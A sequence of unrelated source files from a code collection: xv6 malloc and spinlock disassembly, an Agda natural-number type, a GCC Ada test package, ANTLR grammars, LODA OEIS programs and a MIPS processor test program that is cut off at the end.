1a 00 00 9c movl $0x1a9c,0x1a9c 1746: 1a 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1749: 89 f8 mov %edi,%eax base.s.size = 0; 174b: c7 05 a0 1a 00 00 00 movl $0x0,0x1aa0 1752: 00 00 00 if(p->s.size >= nunits){ 1755: e9 36 ff ff ff jmp 1690 <malloc+0x30> 175a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 1760: 8b 0a mov (%edx),%ecx 1762: 89 08 mov %ecx,(%eax) 1764: eb b1 jmp 1717 <malloc+0xb7> 1766: 66 90 xchg %ax,%ax 1768: 66 90 xchg %ax,%ax 176a: 66 90 xchg %ax,%ax 176c: 66 90 xchg %ax,%ax 176e: 66 90 xchg %ax,%ax 00001770 <uacquire>: #include "uspinlock.h" #include "x86.h" void uacquire(struct uspinlock *lk) { 1770: f3 0f 1e fb endbr32 1774: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1775: b9 01 00 00 00 mov $0x1,%ecx 177a: 89 e5 mov %esp,%ebp 177c: 8b 55 08 mov 0x8(%ebp),%edx 177f: 90 nop 1780: 89 c8 mov %ecx,%eax 1782: f0 87 02 lock xchg %eax,(%edx) // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 1785: 85 c0 test %eax,%eax 1787: 75 f7 jne 1780 <uacquire+0x10> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 1789: f0 83 0c 24 00 lock orl $0x0,(%esp) } 178e: 5d pop %ebp 178f: c3 ret 00001790 <urelease>: void urelease (struct uspinlock *lk) { 1790: f3 0f 1e fb endbr32 1794: 55 push %ebp 1795: 89 e5 mov %esp,%ebp 1797: 8b 45 08 mov 0x8(%ebp),%eax __sync_synchronize(); 179a: f0 83 0c 24 00 lock orl $0x0,(%esp) // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 179f: c7 00 00 00 00 00 movl $0x0,(%eax) } 17a5: 5d pop %ebp 17a6: c3 ret
src/fot/FOTC/Data/Nat/Type.agda
asr/fotc
11
9718
<reponame>asr/fotc ------------------------------------------------------------------------------ -- The FOTC natural numbers type ------------------------------------------------------------------------------ {-# OPTIONS --exact-split #-} {-# OPTIONS --no-sized-types #-} {-# OPTIONS --no-universe-polymorphism #-} {-# OPTIONS --without-K #-} -- N.B. This module is re-exported by FOTC.Data.Nat. module FOTC.Data.Nat.Type where open import FOTC.Base ------------------------------------------------------------------------------ -- The FOTC natural numbers type (inductive predicate for the total -- natural numbers). data N : D → Set where nzero : N zero nsucc : ∀ {n} → N n → N (succ₁ n) {-# ATP axioms nzero nsucc #-} -- Induction principle. N-ind : (A : D → Set) → A zero → (∀ {n} → A n → A (succ₁ n)) → ∀ {n} → N n → A n N-ind A A0 h nzero = A0 N-ind A A0 h (nsucc Nn) = h (N-ind A A0 h Nn)
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/case_optimization_pkg1.ads
best08618/asylo
7
8430
<gh_stars>1-10 package Case_Optimization_Pkg1 is type Element is null record; type Internal_Element_Kinds is (Not_An_Element, An_All_Calls_Remote_Pragma, An_Asynchronous_Pragma, An_Atomic_Pragma, An_Atomic_Components_Pragma, An_Attach_Handler_Pragma, A_Controlled_Pragma, A_Convention_Pragma, A_Discard_Names_Pragma, An_Elaborate_Pragma, An_Elaborate_All_Pragma, An_Elaborate_Body_Pragma, An_Export_Pragma, An_Import_Pragma, An_Inline_Pragma, An_Inspection_Point_Pragma, An_Interrupt_Handler_Pragma, An_Interrupt_Priority_Pragma, A_Linker_Options_Pragma, A_List_Pragma, A_Locking_Policy_Pragma, A_Normalize_Scalars_Pragma, An_Optimize_Pragma, A_Pack_Pragma, A_Page_Pragma, A_Preelaborate_Pragma, A_Priority_Pragma, A_Pure_Pragma, A_Queuing_Policy_Pragma, A_Remote_Call_Interface_Pragma, A_Remote_Types_Pragma, A_Restrictions_Pragma, A_Reviewable_Pragma, A_Shared_Passive_Pragma, A_Storage_Size_Pragma, A_Suppress_Pragma, A_Task_Dispatching_Policy_Pragma, A_Volatile_Pragma, A_Volatile_Components_Pragma, An_Assert_Pragma, An_Assertion_Policy_Pragma, A_Detect_Blocking_Pragma, A_No_Return_Pragma, A_Partition_Elaboration_Policy_Pragma, A_Preelaborable_Initialization_Pragma, A_Priority_Specific_Dispatching_Pragma, A_Profile_Pragma, A_Relative_Deadline_Pragma, An_Unchecked_Union_Pragma, An_Unsuppress_Pragma, An_Implementation_Defined_Pragma, An_Unknown_Pragma, A_Defining_Identifier, A_Defining_Character_Literal, A_Defining_Enumeration_Literal, A_Defining_And_Operator, A_Defining_Or_Operator, A_Defining_Xor_Operator, A_Defining_Equal_Operator, A_Defining_Not_Equal_Operator, A_Defining_Less_Than_Operator, A_Defining_Less_Than_Or_Equal_Operator, A_Defining_Greater_Than_Operator, A_Defining_Greater_Than_Or_Equal_Operator, A_Defining_Plus_Operator, A_Defining_Minus_Operator, A_Defining_Concatenate_Operator, A_Defining_Unary_Plus_Operator, A_Defining_Unary_Minus_Operator, A_Defining_Multiply_Operator, A_Defining_Divide_Operator, A_Defining_Mod_Operator, A_Defining_Rem_Operator, A_Defining_Exponentiate_Operator, A_Defining_Abs_Operator, A_Defining_Not_Operator, A_Defining_Expanded_Name, An_Ordinary_Type_Declaration, A_Task_Type_Declaration, A_Protected_Type_Declaration, An_Incomplete_Type_Declaration, A_Tagged_Incomplete_Type_Declaration, A_Private_Type_Declaration, A_Private_Extension_Declaration, A_Subtype_Declaration, A_Variable_Declaration, A_Constant_Declaration, A_Deferred_Constant_Declaration, A_Single_Task_Declaration, A_Single_Protected_Declaration, An_Integer_Number_Declaration, A_Real_Number_Declaration, An_Enumeration_Literal_Specification, A_Discriminant_Specification, A_Component_Declaration, A_Loop_Parameter_Specification, A_Procedure_Declaration, A_Function_Declaration, A_Parameter_Specification, A_Procedure_Body_Declaration, A_Function_Body_Declaration, A_Return_Object_Declaration, A_Null_Procedure_Declaration, A_Package_Declaration, A_Package_Body_Declaration, An_Object_Renaming_Declaration, An_Exception_Renaming_Declaration, A_Package_Renaming_Declaration, A_Procedure_Renaming_Declaration, A_Function_Renaming_Declaration, A_Generic_Package_Renaming_Declaration, A_Generic_Procedure_Renaming_Declaration, A_Generic_Function_Renaming_Declaration, A_Task_Body_Declaration, A_Protected_Body_Declaration, An_Entry_Declaration, An_Entry_Body_Declaration, An_Entry_Index_Specification, A_Procedure_Body_Stub, A_Function_Body_Stub, A_Package_Body_Stub, A_Task_Body_Stub, A_Protected_Body_Stub, An_Exception_Declaration, A_Choice_Parameter_Specification, A_Generic_Procedure_Declaration, A_Generic_Function_Declaration, A_Generic_Package_Declaration, A_Package_Instantiation, A_Procedure_Instantiation, A_Function_Instantiation, A_Formal_Object_Declaration, A_Formal_Type_Declaration, A_Formal_Procedure_Declaration, A_Formal_Function_Declaration, A_Formal_Package_Declaration, A_Formal_Package_Declaration_With_Box, A_Derived_Type_Definition, A_Derived_Record_Extension_Definition, An_Enumeration_Type_Definition, A_Signed_Integer_Type_Definition, A_Modular_Type_Definition, A_Root_Integer_Definition, A_Root_Real_Definition, A_Universal_Integer_Definition, A_Universal_Real_Definition, A_Universal_Fixed_Definition, A_Floating_Point_Definition, An_Ordinary_Fixed_Point_Definition, A_Decimal_Fixed_Point_Definition, An_Unconstrained_Array_Definition, A_Constrained_Array_Definition, A_Record_Type_Definition, A_Tagged_Record_Type_Definition, An_Ordinary_Interface, A_Limited_Interface, A_Task_Interface, A_Protected_Interface, A_Synchronized_Interface, A_Pool_Specific_Access_To_Variable, An_Access_To_Variable, An_Access_To_Constant, An_Access_To_Procedure, An_Access_To_Protected_Procedure, An_Access_To_Function, An_Access_To_Protected_Function, A_Subtype_Indication, A_Range_Attribute_Reference, A_Simple_Expression_Range, A_Digits_Constraint, A_Delta_Constraint, An_Index_Constraint, A_Discriminant_Constraint, A_Component_Definition, A_Discrete_Subtype_Indication_As_Subtype_Definition, A_Discrete_Range_Attribute_Reference_As_Subtype_Definition, A_Discrete_Simple_Expression_Range_As_Subtype_Definition, A_Discrete_Subtype_Indication, A_Discrete_Range_Attribute_Reference, A_Discrete_Simple_Expression_Range, An_Unknown_Discriminant_Part, A_Known_Discriminant_Part, A_Record_Definition, A_Null_Record_Definition, A_Null_Component, A_Variant_Part, A_Variant, An_Others_Choice, An_Anonymous_Access_To_Variable, An_Anonymous_Access_To_Constant, An_Anonymous_Access_To_Procedure, An_Anonymous_Access_To_Protected_Procedure, An_Anonymous_Access_To_Function, An_Anonymous_Access_To_Protected_Function, A_Private_Type_Definition, A_Tagged_Private_Type_Definition, A_Private_Extension_Definition, A_Task_Definition, A_Protected_Definition, A_Formal_Private_Type_Definition, A_Formal_Tagged_Private_Type_Definition, A_Formal_Derived_Type_Definition, A_Formal_Discrete_Type_Definition, A_Formal_Signed_Integer_Type_Definition, A_Formal_Modular_Type_Definition, A_Formal_Floating_Point_Definition, A_Formal_Ordinary_Fixed_Point_Definition, A_Formal_Decimal_Fixed_Point_Definition, A_Formal_Ordinary_Interface, A_Formal_Limited_Interface, A_Formal_Task_Interface, A_Formal_Protected_Interface, A_Formal_Synchronized_Interface, A_Formal_Unconstrained_Array_Definition, A_Formal_Constrained_Array_Definition, A_Formal_Pool_Specific_Access_To_Variable, A_Formal_Access_To_Variable, A_Formal_Access_To_Constant, A_Formal_Access_To_Procedure, A_Formal_Access_To_Protected_Procedure, A_Formal_Access_To_Function, A_Formal_Access_To_Protected_Function, An_Integer_Literal, A_Real_Literal, A_String_Literal, An_Identifier, An_And_Operator, An_Or_Operator, An_Xor_Operator, An_Equal_Operator, A_Not_Equal_Operator, A_Less_Than_Operator, A_Less_Than_Or_Equal_Operator, A_Greater_Than_Operator, A_Greater_Than_Or_Equal_Operator, A_Plus_Operator, A_Minus_Operator, A_Concatenate_Operator, A_Unary_Plus_Operator, A_Unary_Minus_Operator, A_Multiply_Operator, A_Divide_Operator, A_Mod_Operator, A_Rem_Operator, An_Exponentiate_Operator, An_Abs_Operator, A_Not_Operator, A_Character_Literal, An_Enumeration_Literal, An_Explicit_Dereference, A_Function_Call, An_Indexed_Component, A_Slice, A_Selected_Component, An_Access_Attribute, An_Address_Attribute, An_Adjacent_Attribute, An_Aft_Attribute, An_Alignment_Attribute, A_Base_Attribute, A_Bit_Order_Attribute, A_Body_Version_Attribute, A_Callable_Attribute, A_Caller_Attribute, A_Ceiling_Attribute, A_Class_Attribute, A_Component_Size_Attribute, A_Compose_Attribute, A_Constrained_Attribute, A_Copy_Sign_Attribute, A_Count_Attribute, A_Definite_Attribute, A_Delta_Attribute, A_Denorm_Attribute, A_Digits_Attribute, An_Exponent_Attribute, An_External_Tag_Attribute, A_First_Attribute, A_First_Bit_Attribute, A_Floor_Attribute, A_Fore_Attribute, A_Fraction_Attribute, An_Identity_Attribute, An_Image_Attribute, An_Input_Attribute, A_Last_Attribute, A_Last_Bit_Attribute, A_Leading_Part_Attribute, A_Length_Attribute, A_Machine_Attribute, A_Machine_Emax_Attribute, A_Machine_Emin_Attribute, A_Machine_Mantissa_Attribute, A_Machine_Overflows_Attribute, A_Machine_Radix_Attribute, A_Machine_Rounds_Attribute, A_Max_Attribute, A_Max_Size_In_Storage_Elements_Attribute, A_Min_Attribute, A_Model_Attribute, A_Model_Emin_Attribute, A_Model_Epsilon_Attribute, A_Model_Mantissa_Attribute, A_Model_Small_Attribute, A_Modulus_Attribute, An_Output_Attribute, A_Partition_ID_Attribute, A_Pos_Attribute, A_Position_Attribute, A_Pred_Attribute, A_Range_Attribute, A_Read_Attribute, A_Remainder_Attribute, A_Round_Attribute, A_Rounding_Attribute, A_Safe_First_Attribute, A_Safe_Last_Attribute, A_Scale_Attribute, A_Scaling_Attribute, A_Signed_Zeros_Attribute, A_Size_Attribute, A_Small_Attribute, A_Storage_Pool_Attribute, A_Storage_Size_Attribute, A_Succ_Attribute, A_Tag_Attribute, A_Terminated_Attribute, A_Truncation_Attribute, An_Unbiased_Rounding_Attribute, An_Unchecked_Access_Attribute, A_Val_Attribute, A_Valid_Attribute, A_Value_Attribute, A_Version_Attribute, A_Wide_Image_Attribute, A_Wide_Value_Attribute, A_Wide_Width_Attribute, A_Width_Attribute, A_Write_Attribute, A_Machine_Rounding_Attribute, A_Mod_Attribute, A_Priority_Attribute, A_Stream_Size_Attribute, A_Wide_Wide_Image_Attribute, A_Wide_Wide_Value_Attribute, A_Wide_Wide_Width_Attribute, An_Implementation_Defined_Attribute, An_Unknown_Attribute, A_Record_Aggregate, An_Extension_Aggregate, A_Positional_Array_Aggregate, A_Named_Array_Aggregate, An_And_Then_Short_Circuit, An_Or_Else_Short_Circuit, An_In_Range_Membership_Test, A_Not_In_Range_Membership_Test, An_In_Type_Membership_Test, A_Not_In_Type_Membership_Test, A_Null_Literal, A_Parenthesized_Expression, A_Type_Conversion, A_Qualified_Expression, An_Allocation_From_Subtype, An_Allocation_From_Qualified_Expression, A_Pragma_Argument_Association, A_Discriminant_Association, A_Record_Component_Association, An_Array_Component_Association, A_Parameter_Association, A_Generic_Association, A_Null_Statement, An_Assignment_Statement, An_If_Statement, A_Case_Statement, A_Loop_Statement, A_While_Loop_Statement, A_For_Loop_Statement, A_Block_Statement, An_Exit_Statement, A_Goto_Statement, A_Procedure_Call_Statement, A_Return_Statement, An_Extended_Return_Statement, An_Accept_Statement, An_Entry_Call_Statement, A_Requeue_Statement, A_Requeue_Statement_With_Abort, A_Delay_Until_Statement, A_Delay_Relative_Statement, A_Terminate_Alternative_Statement, A_Selective_Accept_Statement, A_Timed_Entry_Call_Statement, A_Conditional_Entry_Call_Statement, An_Asynchronous_Select_Statement, An_Abort_Statement, A_Raise_Statement, A_Code_Statement, An_If_Path, An_Elsif_Path, An_Else_Path, A_Case_Path, A_Select_Path, An_Or_Path, A_Then_Abort_Path, A_Use_Package_Clause, A_Use_Type_Clause, A_With_Clause, An_Attribute_Definition_Clause, An_Enumeration_Representation_Clause, A_Record_Representation_Clause, An_At_Clause, A_Component_Clause, An_Exception_Handler, Non_Trivial_Mapping, Not_Implemented_Mapping, Trivial_Mapping, No_Mapping); subtype Internal_Expression_Kinds is Internal_Element_Kinds range An_Integer_Literal .. An_Allocation_From_Qualified_Expression; subtype Internal_Operator_Symbol_Kinds is Internal_Expression_Kinds range An_And_Operator .. A_Not_Operator; function Int_Kind (E : Element) return Internal_Element_Kinds; end Case_Optimization_Pkg1;
labs/visitor/grammars/Expr.g4
parrt/cs652
110
4040
<filename>labs/visitor/grammars/Expr.g4 grammar Expr; s : e ; e : e '*' e # Mult | e '+' e # Add | INT # Number ; INT : [0-9]+ ; WS : [ \r\t\n]+ -> skip ;
programs/oeis/047/A047346.asm
neoneye/loda
22
161476
; A047346: Numbers that are congruent to {1, 4} mod 7. ; 1,4,8,11,15,18,22,25,29,32,36,39,43,46,50,53,57,60,64,67,71,74,78,81,85,88,92,95,99,102,106,109,113,116,120,123,127,130,134,137,141,144,148,151,155,158,162,165,169,172,176,179,183,186,190,193,197,200,204,207,211,214,218,221,225,228,232,235,239,242,246,249,253,256,260,263,267,270,274,277,281,284,288,291,295,298,302,305,309,312,316,319,323,326,330,333,337,340,344,347 mul $0,7 div $0,2 add $0,1
programs/oeis/132/A132740.asm
neoneye/loda
22
94220
<filename>programs/oeis/132/A132740.asm ; A132740: Largest divisor of n coprime to 10. ; 1,1,3,1,1,3,7,1,9,1,11,3,13,7,3,1,17,9,19,1,21,11,23,3,1,13,27,7,29,3,31,1,33,17,7,9,37,19,39,1,41,21,43,11,9,23,47,3,49,1,51,13,53,27,11,7,57,29,59,3,61,31,63,1,13,33,67,17,69,7,71,9,73,37,3,19,77,39,79,1,81,41,83,21,17,43,87,11,89,9,91,23,93,47,19,3,97,49,99,1 add $0,1 lpb $0 dif $0,2 lpe lpb $0 dif $0,5 lpe
mw-kreator-regul-biznesowych/app-modul-silnik-regul/src/main/antlr/RuleSet.g4
mwwojcik/ml_workspace_kotlin
0
603
<filename>mw-kreator-regul-biznesowych/app-modul-silnik-regul/src/main/antlr/RuleSet.g4<gh_stars>0 grammar RuleSet; @parser::header { package reguly.antlr; } @lexer::header { package reguly.antlr; } rule_set : single_rule (NEWLINE single_rule)* EOF ; single_rule : logical_expr RULECOMMENT? ; logical_expr : logical_expr 'and' logical_expr # LogicalExpressionAnd | logical_expr 'or' logical_expr # LogicalExpressionOr | 'not' logical_expr # LogicalExpressionNot | specification_expr # SpecificationExpression ; specification_expr : 'SUM(' jsonpath_expr ') greater than (' right_arithmetic_expr ')' # TotalledNumericGreaterThanComparisonSpecificationExpression | 'SUM(' jsonpath_expr ') greater than ' numeric_expr # TotalledNumericGreaterThanComparisonSpecificationExpression | '(' left_arithmetic_expr ') greater than (' right_arithmetic_expr ')' # NumericGreaterThanComparisonSpecificationExpression | '(' left_arithmetic_expr ') greater than ' numeric_expr # NumericGreaterThanComparisonSpecificationExpression | numeric_expr ' greater than ' numeric_expr # NumericGreaterThanComparisonSpecificationExpression | numeric_expr ' greater than (' right_arithmetic_expr ')' # NumericGreaterThanComparisonSpecificationExpression | numeric_expr ' greater than ' numeric_expr # NumericGreaterThanComparisonSpecificationExpression | 'SUM(' jsonpath_expr ') less than (' right_arithmetic_expr ')' # TotalledNumericLessThanComparisonSpecificationExpression | 'SUM(' jsonpath_expr ') less than ' numeric_expr # TotalledNumericLessThanComparisonSpecificationExpression | '(' left_arithmetic_expr ') less than (' right_arithmetic_expr ')' # NumericLessThanComparisonSpecificationExpression | '(' left_arithmetic_expr ') less than ' numeric_expr # NumericLessThanComparisonSpecificationExpression | numeric_expr ' less than (' right_arithmetic_expr ')' # NumericLessThanComparisonSpecificationExpression | numeric_expr ' less than ' numeric_expr # NumericLessThanComparisonSpecificationExpression | value_expr 'equals' string_comparison_value # StringEqualsComparisonSpecificationExpression | value_expr 'contains' string_comparison_value # StringContainsComparisonSpecificationExpression | value_expr 'is true' # BooleanIsTrueComparisonSpecificationExpression | value_expr 'is false' # BooleanIsFalseComparisonSpecificationExpression | value_expr 'includes one' string_array # ArrayIncludesOneComparisonSpecificationExpression ; left_arithmetic_expr : arithmetic_expr; right_arithmetic_expr : arithmetic_expr; arithmetic_expr : arithmetic_expr '*' arithmetic_expr # ArithmeticExpressionMult | arithmetic_expr '/' arithmetic_expr # ArithmeticExpressionDiv | arithmetic_expr '+' arithmetic_expr # ArithmeticExpressionPlus | arithmetic_expr '-' arithmetic_expr # ArithmeticExpressionMinus | numeric_expr # ArithmeticExpressionNumericEntity ; numeric_expr : total_expr # TotalledJsonPathExpression | jsonpath_expr # JsonPathExpression | IDENTIFIER # JsonPathExpression | NUMERIC_VALUE # NumericConstant | INT # NumericConstant ; value_expr : jsonpath_expr | IDENTIFIER ; total_expr : 'SUM(' jsonpath_expr ')' ; jsonpath_expr : jsonpath_dotnotation_expr ; // This is standard JsonPath using Dot notation jsonpath_dotnotation_expr : '$.' dotnotation_expr ('.' dotnotation_expr)* ; dotnotation_expr : identifierWithQualifier | IDENTIFIER ; identifierWithQualifier : IDENTIFIER '[]' | IDENTIFIER '[*]' | IDENTIFIER '[' INT ']' | IDENTIFIER '[?(' query_expr ')]' ; query_expr : query_expr ('&&' query_expr)+ | query_expr ('||' query_expr)+ | '@.' IDENTIFIER | '@.' IDENTIFIER '>' INT | '@.' IDENTIFIER '<' INT | '@.length-' INT | '@.' IDENTIFIER '==' INT | '@.' IDENTIFIER '==\'' IDENTIFIER '\'' ; string_comparison_value : INT | NUMERIC_VALUE | IDENTIFIER ; string_array : '(' IDENTIFIER (',' IDENTIFIER)* ')' ; INT : '0' | [1-9][0-9]* ; NUMERIC_VALUE : '-'?[0-9]+('.'[0-9]+)? ; IDENTIFIER : [a-zA-Z_][a-zA-Z_0-9]* ; RULECOMMENT : '#' ~[\r\n]*; NEWLINE : '\r'? '\n'; WS : [ \r\t\u000C\n]+ -> skip ;
P6/data_P6_2/cal_R_test15.asm
alxzzhou/BUAA_CO_2020
1
94708
lui $1,12558 ori $1,$1,26562 lui $2,20823 ori $2,$2,35653 lui $3,25692 ori $3,$3,41065 lui $4,31924 ori $4,$4,64774 lui $5,40770 ori $5,$5,43097 lui $6,44076 ori $6,$6,50130 mthi $1 mtlo $2 sec0: nop nop nop nor $1,$6,$2 sec1: nop nop subu $2,$6,$3 nor $3,$6,$2 sec2: nop nop andi $2,$0,9484 nor $1,$6,$2 sec3: nop nop mfhi $2 nor $2,$6,$2 sec4: nop nop lw $2,0($0) nor $5,$6,$2 sec5: nop sltu $6,$3,$3 nop nor $4,$6,$2 sec6: nop xor $6,$4,$4 or $2,$3,$5 nor $5,$6,$2 sec7: nop addu $6,$3,$1 sltiu $2,$0,-13057 nor $3,$6,$2 sec8: nop xor $6,$6,$4 mfhi $2 nor $4,$6,$2 sec9: nop subu $6,$5,$2 lhu $2,6($0) nor $3,$6,$2 sec10: nop lui $6,42948 nop nor $2,$6,$2 sec11: nop andi $6,$4,6947 or $2,$5,$5 nor $6,$6,$2 sec12: nop lui $6,25358 addiu $2,$1,-4849 nor $3,$6,$2 sec13: nop lui $6,29510 mflo $2 nor $2,$6,$2 sec14: nop ori $6,$5,6668 lw $2,0($0) nor $2,$6,$2 sec15: nop mfhi $6 nop nor $1,$6,$2 sec16: nop mfhi $6 subu $2,$3,$4 nor $3,$6,$2 sec17: nop mflo $6 xori $2,$1,47595 nor $2,$6,$2 sec18: nop mfhi $6 mflo $2 nor $2,$6,$2 sec19: nop mfhi $6 lbu $2,6($0) nor $2,$6,$2 sec20: nop lw $6,4($0) nop nor $4,$6,$2 sec21: nop lw $6,12($0) addu $2,$1,$0 nor $2,$6,$2 sec22: nop lbu $6,11($0) lui $2,18798 nor $6,$6,$2 sec23: nop lh $6,10($0) mflo $2 nor $3,$6,$2 sec24: nop lh $6,14($0) lw $2,8($0) nor $1,$6,$2 sec25: and $6,$2,$2 nop nop nor $2,$6,$2 sec26: or $6,$1,$3 nop nor $2,$5,$6 nor $1,$6,$2 sec27: sltu $6,$3,$5 nop xori $2,$3,44668 nor $3,$6,$2 sec28: addu $6,$1,$4 nop mfhi $2 nor $4,$6,$2 sec29: sltu $6,$2,$1 nop lbu $2,0($0) nor $3,$6,$2 sec30: or $6,$2,$2 or $6,$5,$5 nop nor $4,$6,$2 sec31: subu $6,$3,$3 sltu $6,$0,$3 or $2,$4,$1 nor $4,$6,$2 sec32: or $6,$2,$5 slt $6,$5,$0 xori $2,$1,22545 nor $1,$6,$2 sec33: slt $6,$1,$1 or $6,$5,$5 mfhi $2 nor $4,$6,$2 sec34: slt $6,$3,$6 sltu $6,$5,$6 lh $2,4($0) nor $3,$6,$2 sec35: and $6,$3,$1 xori $6,$5,6541 nop nor $5,$6,$2 sec36: and $6,$1,$4 slti $6,$5,16341 subu $2,$4,$3 nor $3,$6,$2 sec37: and $6,$4,$4 sltiu $6,$2,-6757 xori $2,$6,3388 nor $4,$6,$2 sec38: addu $6,$4,$3 sltiu $6,$3,2141 mflo $2 nor $2,$6,$2 sec39: or $6,$3,$1 addiu $6,$3,-12975 lb $2,14($0) nor $1,$6,$2 sec40: subu $6,$5,$3 mflo $6 nop nor $3,$6,$2 sec41: addu $6,$6,$3 mfhi $6 and $2,$4,$3 nor $4,$6,$2 sec42: sltu $6,$5,$0 mfhi $6 addiu $2,$4,18528 nor $4,$6,$2 sec43: nor $6,$3,$3 mfhi $6 mflo $2 nor $2,$6,$2 sec44: subu $6,$4,$4 mfhi $6 lbu $2,14($0) nor $1,$6,$2 sec45: xor $6,$2,$3 lh $6,0($0) nop nor $4,$6,$2 sec46: sltu $6,$2,$6 lb $6,9($0) subu $2,$1,$4 nor $5,$6,$2 sec47: nor $6,$2,$0 lhu $6,2($0) addiu $2,$1,-6596 nor $4,$6,$2 sec48: addu $6,$3,$4 lw $6,12($0) mfhi $2 nor $4,$6,$2 sec49: and $6,$3,$2 lw $6,8($0) lh $2,12($0) nor $0,$6,$2 sec50: slti $6,$5,-16501 nop nop nor $1,$6,$2 sec51: lui $6,60028 nop xor $2,$3,$3 nor $5,$6,$2 sec52: ori $6,$4,45358 nop xori $2,$1,38322 nor $4,$6,$2 sec53: addiu $6,$2,26341 nop mfhi $2 nor $0,$6,$2 sec54: xori $6,$2,23796 nop lhu $2,12($0) nor $3,$6,$2 sec55: andi $6,$5,4900 slt $6,$1,$2 nop nor $4,$6,$2 sec56: andi $6,$2,16026 subu $6,$1,$5 sltu $2,$5,$2 nor $4,$6,$2 sec57: lui $6,33154 slt $6,$5,$3 andi $2,$1,47976 nor $4,$6,$2 sec58: ori $6,$3,46049 xor $6,$4,$1 mflo $2 nor $1,$6,$2 sec59: sltiu $6,$3,849 nor $6,$4,$3 lh $2,12($0) nor $6,$6,$2 sec60: slti $6,$3,-18075 sltiu $6,$6,-14 nop nor $0,$6,$2 sec61: addiu $6,$4,20528 lui $6,56512 or $2,$1,$3 nor $1,$6,$2 sec62: sltiu $6,$3,16116 sltiu $6,$3,12424 addiu $2,$6,27151 nor $2,$6,$2 sec63: xori $6,$2,28770 sltiu $6,$3,17602 mfhi $2 nor $2,$6,$2 sec64: ori $6,$2,62877 addiu $6,$3,-1068 lb $2,11($0) nor $6,$6,$2 sec65: addiu $6,$5,29531 mfhi $6 nop nor $1,$6,$2 sec66: sltiu $6,$3,14580 mfhi $6 addu $2,$4,$2 nor $2,$6,$2 sec67: xori $6,$2,60167 mfhi $6 xori $2,$3,18334 nor $4,$6,$2 sec68: sltiu $6,$6,-2676 mflo $6 mfhi $2 nor $2,$6,$2 sec69: andi $6,$2,34031 mfhi $6 lw $2,8($0) nor $1,$6,$2 sec70: ori $6,$2,17692 lbu $6,3($0) nop nor $5,$6,$2 sec71: lui $6,15460 lbu $6,6($0) or $2,$4,$1 nor $2,$6,$2 sec72: addiu $6,$4,3457 lb $6,2($0) ori $2,$4,38214 nor $2,$6,$2 sec73: andi $6,$6,38814 lh $6,6($0) mflo $2 nor $3,$6,$2 sec74: lui $6,55897 lhu $6,12($0) lw $2,0($0) nor $2,$6,$2 sec75: mflo $6 nop nop nor $3,$6,$2 sec76: mflo $6 nop sltu $2,$3,$3 nor $4,$6,$2 sec77: mflo $6 nop andi $2,$1,9036 nor $5,$6,$2 sec78: mfhi $6 nop mflo $2 nor $3,$6,$2 sec79: mflo $6 nop lb $2,9($0) nor $3,$6,$2 sec80: mflo $6 xor $6,$3,$1 nop nor $1,$6,$2 sec81: mfhi $6 or $6,$5,$0 addu $2,$3,$3 nor $5,$6,$2 sec82: mflo $6 or $6,$4,$1 lui $2,2597 nor $3,$6,$2 sec83: mflo $6 and $6,$0,$3 mflo $2 nor $1,$6,$2 sec84: mfhi $6 and $6,$4,$5 lbu $2,3($0) nor $4,$6,$2 sec85: mflo $6 slti $6,$2,27266 nop nor $3,$6,$2 sec86: mfhi $6 slti $6,$0,15111 addu $2,$4,$4 nor $1,$6,$2 sec87: mfhi $6 xori $6,$1,55498 addiu $2,$5,17041 nor $4,$6,$2 sec88: mfhi $6 andi $6,$3,50836 mfhi $2 nor $2,$6,$2 sec89: mfhi $6 ori $6,$4,20372 lbu $2,6($0) nor $4,$6,$2 sec90: mfhi $6 mfhi $6 nop nor $0,$6,$2 sec91: mfhi $6 mflo $6 subu $2,$0,$4 nor $5,$6,$2 sec92: mflo $6 mfhi $6 andi $2,$3,12175 nor $5,$6,$2 sec93: mflo $6 mflo $6 mfhi $2 nor $2,$6,$2 sec94: mfhi $6 mfhi $6 lhu $2,2($0) nor $6,$6,$2 sec95: mflo $6 lhu $6,8($0) nop nor $0,$6,$2 sec96: mfhi $6 lbu $6,5($0) slt $2,$3,$4 nor $2,$6,$2 sec97: mflo $6 lbu $6,16($0) xori $2,$4,48988 nor $4,$6,$2 sec98: mflo $6 lb $6,5($0) mflo $2 nor $3,$6,$2 sec99: mflo $6 lh $6,6($0) lw $2,8($0) nor $2,$6,$2 sec100: lhu $6,12($0) nop nop nor $2,$6,$2 sec101: lb $6,10($0) nop nor $2,$1,$5 nor $2,$6,$2 sec102: lbu $6,10($0) nop lui $2,37228 nor $5,$6,$2 sec103: lbu $6,6($0) nop mfhi $2 nor $4,$6,$2 sec104: lw $6,12($0) nop lhu $2,10($0) nor $6,$6,$2 sec105: lb $6,4($0) or $6,$4,$3 nop nor $2,$6,$2 sec106: lh $6,12($0) addu $6,$5,$6 addu $2,$1,$4 nor $3,$6,$2 sec107: lh $6,8($0) or $6,$2,$3 addiu $2,$1,-5061 nor $2,$6,$2 sec108: lh $6,0($0) or $6,$2,$6 mflo $2 nor $5,$6,$2 sec109: lhu $6,16($0) slt $6,$5,$4 lh $2,8($0) nor $2,$6,$2 sec110: lbu $6,8($0) xori $6,$4,63801 nop nor $2,$6,$2 sec111: lb $6,0($0) lui $6,56517 addu $2,$3,$3 nor $5,$6,$2 sec112: lh $6,12($0) slti $6,$2,-9242 andi $2,$3,9462 nor $3,$6,$2 sec113: lh $6,12($0) ori $6,$1,8486 mflo $2 nor $4,$6,$2 sec114: lw $6,8($0) lui $6,53372 lh $2,8($0) nor $3,$6,$2 sec115: lb $6,9($0) mflo $6 nop nor $2,$6,$2 sec116: lh $6,0($0) mflo $6 slt $2,$2,$6 nor $3,$6,$2 sec117: lh $6,6($0) mflo $6 sltiu $2,$2,32100 nor $3,$6,$2 sec118: lb $6,4($0) mflo $6 mflo $2 nor $4,$6,$2 sec119: lb $6,3($0) mflo $6 lb $2,5($0) nor $0,$6,$2 sec120: lhu 